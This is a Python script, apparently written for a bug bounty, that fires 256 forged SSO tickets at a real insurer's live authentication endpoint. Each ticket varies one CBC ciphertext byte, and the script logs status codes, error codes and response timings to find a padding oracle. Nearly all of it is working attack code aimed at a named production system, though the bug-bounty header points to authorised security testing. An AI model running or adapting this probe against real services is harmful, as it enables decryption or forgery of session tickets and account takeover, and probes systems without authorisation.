#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["curl-cffi>=0.15"]
# ///
from curl_cffi import requests
from concurrent.futures import ThreadPoolExecutor,as_completed
import base64,json,os,time,statistics,argparse
ap=argparse.ArgumentParser(); ap.add_argument('--app',default='el_account_linking2'); ap.add_argument('--workers',type=int,default=4); ap.add_argument('--out',required=True); a=ap.parse_args()
base='https://mein-portal.baloise.de/auth'; ident={'X-Bug-Bounty':'dwbzn'}
s=requests.Session(impersonate='chrome')
r=s.get(base+'/ui/app',headers=ident,timeout=20,toadex_capture=False)
csrf=s.cookies.get('CSRFT759-S') or ''; cookie='; '.join(f'{k}={v}' for k,v in s.cookies.items())
# Fixed KDF salt and block. Varying one ciphertext byte should produce at least one valid PKCS#7 padding iff CBC fallback is enabled.
salt=bytes.fromhex('00'*16); block=bytearray(bytes.fromhex('5a'*16))
prefix=f'[PBKDF2|1|{salt.hex()}][CBC]'.encode()
H={**ident,'X-Same-Domain':'1','X-CSRFT759':csrf,'Cookie':cookie,'Content-Type':'application/json','Accept':'application/json, application/vnd.api+json'}
url=f'{base}/rest/public/authentication/applications/{a.app}/access'
def one(i):
 b=bytearray(block); b[-1]=i; t=base64.b64encode(prefix+bytes(b)).decode()
 h={**H,'X-IAM-SSO-Ticket':t}
 t0=time.perf_counter_ns()
 try:
  r=requests.post(url,headers=h,data='null',timeout=15,impersonate='chrome',toadex_capture=False)
  dt=(time.perf_counter_ns()-t0)/1e6
  try:j=r.json(); code=(j.get('errors') or [{}])[0].get('code')
  except:code=None
  return {'i':i,'status':r.status_code,'size':len(r.content),'code':code,'ms':round(dt,3),'body':r.text[:220]}
 except Exception as e:return {'i':i,'status':0,'size':0,'code':None,'ms':round((time.perf_counter_ns()-t0)/1e6,3),'error':repr(e)}
rows=[]
with ThreadPoolExecutor(max_workers=a.workers) as ex:
 for fut in as_completed([ex.submit(one,i) for i in range(256)]): rows.append(fut.result())
rows.sort(key=lambda z:z['i'])
with open(a.out,'w') as f:
 for z in rows:f.write(json.dumps(z)+'\n')
from collections import Counter
print('app',a.app,'counts',Counter((z['status'],z['size'],z.get('code')) for z in rows))
for z in rows:
 if z['status']!=403 or z.get('code')!='SSO_TOKEN_VERIFICATION_FAILED': print('INTERESTING',json.dumps(z))
ms=[z['ms'] for z in rows if z['status']]
print('timing median',statistics.median(ms),'min',min(ms),'max',max(ms))
